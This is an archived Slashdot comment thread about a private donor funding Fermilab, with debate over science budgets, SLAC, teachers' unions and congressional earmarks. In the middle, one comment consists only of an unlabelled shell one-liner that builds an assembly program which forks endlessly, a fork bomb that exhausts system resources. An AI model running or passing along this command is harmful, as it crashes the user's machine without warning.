Slashdot Mirror
Private Donor Saves Fermilab
sciencehabit writes "In what has to be an embarrasment for the U.S. Department of Energy, an anonymous donor has ponied up $5 million to keep the country's only remaining particle physics laboratory operating efficiently."
Next time you use a computer, think: positrons are an unrivaled probe of defects in Si crystals. They make excellent diagnostic tools to see if a particular batch of computer chips is going to go bad.
Next time you or someone you care for gets radiological treatment, think: accelerators make lots of things which are used to diagnose and treat cancers.
The administration asked for increased funding for the DOE Office of Science. Congress instead slashed its budget --- all while fully funding Bush's multi-trillion dollar war in Iraq.
When Congress cuts the budget, there's nothing the administration can do.
If the Democrats in Congress really wanted to end the war in Iraq, they could do it tomorrow by revoking its funding. But why would they end it, when it's their best polling issue?
Sometimes, Democracy just plain sucks.
You are thinking of the Babar experiment. Unfortunately, that has stopped taking data due to funding cuts. Scientists are slowly going through the last of the results, and are leaving SLAC for greener pastures.
SLAC will no longer be doing high energy experimental physics, and is being turned into a enormous synchrotron source. Whilst this will result in good science, I think it is somewhat sad that the once world leader of high energy physics is no more.
The US government decided not to support the international linear collider. That marked the end of high energy science in this country. Discovering the workings of the universe is just too expensive compared to spending our money fighting for part-ownership in some hydrocarbons buried under a far-off desert.
It wasn't too long ago when a group led by hedge fund manager Jim Simons donated $13 million to account for a budget shortfall that would have stopped the operations of the Relativistic Heavy Ion Collider (RHIC) at Brookhaven National Laboratory.
> If the Democrats in Congress really wanted to end the war in Iraq, they could do
> it tomorrow by revoking its funding. But why would they end it, when it's their
> best polling issue?
Gas and food prices in addition to the current state of the struggling USA economy has superseded the country's current involvment in Iraq.
Bush proposes a budget & Congress can approve it. While some might gripe with some of Bush's funding choices, one of the most significant issues is that Congress has not passed the funding he has proposed. Instead, we are left with continuing resolutions where science is often left under funded.
Fermilab is barred from proposing and receiving science funding from the NSF or DOE on its own. Any high energy physics or computing project at Fermilab that gets funded has to be at least co-lead by a University professor. Over the last twenty years or so, as the universities became more and more aggressive about protecting their turf, more and more projects left the lab. When I left there six years ago, the writing was already on the wall. Smaller experiments were slashed in favor of the mega collaborations DZero and CDF, computing was shifted to the "Grid", and both trends were very efficient at shifting power and projects out of the lab. Except for operations, there was very little being done at the lab. One wonders if it was planned that way.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You have another job that pays better for the lowest of college grads with 3 months of vacation a year, great benefits, and tenure? This for the only occupation with more people in it than wall mart clerks?
You want proof of their power?
http://money.cnn.com/2008/05/19/pf/retirement/West_virginia_pensions.moneymag/?postversion=2008052014
You should take a look at teachers salaries around the rest of the country and you'll see those are a tad high compared to most states. California, New York, and a few others are in a similar range.
You should also probably not generalize about what teachers unions do, and how they have an effect on the education that the children receive.
Teachers unions negotiate to retain the salaries, contracts, and benefits for teachers primarily. In many states people have the same misguided assumptions and opinions about education that you have, and teachers salaries and benefits are constantly under attack. The teachers tend to need their unions to negotiate for them so that there is some unified backing for their needs. Of course in some states this has been taken to an extreme, you have failed to provide any evidence that it is extreme in the majority of situations.
Teachers unions typically have little to no influence on things like curriculum, total number of hours spent on each subject, or classroom management. All of these things have much more of an effect on education than the amount of money teachers are paid. All of these things are decided by bureaucrat at the county, state, and federal levels. The state and federal levels of course have been given considerably more control over these aspects in large part due to the creation of the Department of Education and the passing of No Child Left Behind.
As far as the amount of money that teachers are paid, they tend to be compensated for the total amount of time worked. In some districts this is for twelve months, and in others it is for approximately nine to ten months. When adjusted appropriately starting salaries may be similar to other educated professionals starting salaries. However, the pay scales with additional experience and time tend to not scale with other professions. This is usually a point of contention when people talk about how teachers are underpaid. Teachers are required to continue their educations either via university programs that will end in an additional degree (master, and phd programs), trainings for their specific curriculum and materials, classroom management, special needs training, etc. When compared to many other professions you can find that teachers that have been in the profession for any length of time have educational backgrounds and degrees similar to doctors and lawyers. Compensation for teachers is not commensurate with the amount of education they are required to have.
Take a look at the payscale for teachers in most states and you will find that their pay caps out without additional education. Then take a look at the licensing requirements for teachers and you will find that they have to continue their education and meet certain requirements just to get their licenses renewed and keep their jobs. I think if you actually evaluate these areas you'll understand the complaints of many teachers.
I don't even want to get into the fact that teachers have to deal with parents. I can't begin to tell you the number of parents that treat their children's teacher like an idiot. That assume their child can do no wrong, and assume that the teacher is always to blame. If there was more co-operation between parents and teachers we might see more success in our public school systems. This of course ignores socio-economic factors that prevent some parents from being more involved with their children's education.
Of course now I'm just ranting, and really you should sit down with your teacher friends and discuss some of what they are required to do to maintain their jobs, be compliant with no child left behind, deal with parents, etc etc. You might find that you the issues are much more complicated than you understand.
As far as I am aware democracy and republicanism are not mutually exclusive: they are different concepts. The US is a democratic republic; the UK is a democratic constitutional monarchy.
That may be true, but does not apply to the public transit system in question. There's no shortage of people wanting to use Melbourne's public transport, but the buses that feed the train system are too infrequent for convenient use, the carparks at railway stations are over-full by 7:30, the tram network is limited and peak times see heavy over-crowding largely because of inept management. Ticket prices have been going up but the rising price of petrol has been a bigger concern for people and patronage just keeps on rising.
16% of American biology teachers believe the earth was created within the last 10,000 years, as compared to 48% of the US population. That 16% is, of course, is not evenly allocated across the US. Entire generations within certain states are growing up scientifically illiterate.
http://scienceblogs.com/pharyngula/2008/05/creationists_in_the_american_c.php
Clearly, Fermilab lost out funding over much more worthy initiatives. These include:
$7,556,660 for grape and wine research.
$22,716,664 for 18 projects by Senate appropriator Dianne Feinstein (D-Calif.), including $1,574,400 for a cooperative agreement between the Department of Energy and Inyo County and $107,256 for long term sediment management at Humbolt Bay.
$787,200 by House appropriator Betty McCollum (D-Minn.) for advanced green design at the Museum of Natural History in Minneapolis.
$19,942,000 for four projects funding presidential libraries.
$50,000,000 for REAL ID grants.
$16,833,240 for eight projects by Senate Interior Appropriations Subcommittee member Ted Stevens (R-Alaska), including: $3,937,600 for the Tongass Timber Supply Pipeline; $3,937,600 for the United States Geological Survey Volcano Observatory; $2,953,200 for the Alaska Conveyance Program; and $492,200 for the Craig Recreation land transfer.
$5,906,400 by Rep. Heath Shuler (D-N.C.) for Great Smokey National Park, North Shore Road Settlement.
$6,700,000 for two projects funding fitness centers at two military facilities.
$14,878,000 added by the House for the International Fund for Ireland (IFI).
$33,005,420 for 35 projects by Senate appropriator Christopher (Kit) Bond (R-Mo.), including: $1,470,000 for statewide bus and bus facilities; $551,250 for the Heart of America Bicycle/Pedestrian Bridge; $367,500 for improvements to Downtown Square Street in Grant City; $367,500 for redevelopment of the 11th and Grand neighborhood in Kansas City; and $183,750 for restoration of the Poplar Bluff Historic Depot.
$18,071,200 for 17 projects by House appropriator John Olver (D-Mass.), including: $5,880,000 for development and construction of the MBTA Fitchburg to Boston Rail Corridor Project; $1,470,000 for downtown streetscape in Pittsfield; $784,000 for the Franklin Regional Transit Center; $735,000 for MART bus and commuter facilities; $269,500 for the Barrington Stage Company for the renovation and buildout of the Berkshire Music Hall and Octagon House in Pittsfield; and $196,000 for the Massachusetts Landscape Connectivity Study.
Others can be found at http://www.cagw.org/site/PageServer?pagename=reports_pigbook2008.
The little guy just ain't getting it, is he?
I used to work in D0 at Fermilab and of all of the places that I've worked since, Fermi was the best place for an engineer like me. I was actually able to do real engineering work while still a student and work that mattered. Also, the environment is casual yet everyone is a complete professional. It is also a very beautiful place to work because of the entire preserve around it and the area in general. I hope Fermilab never shuts down.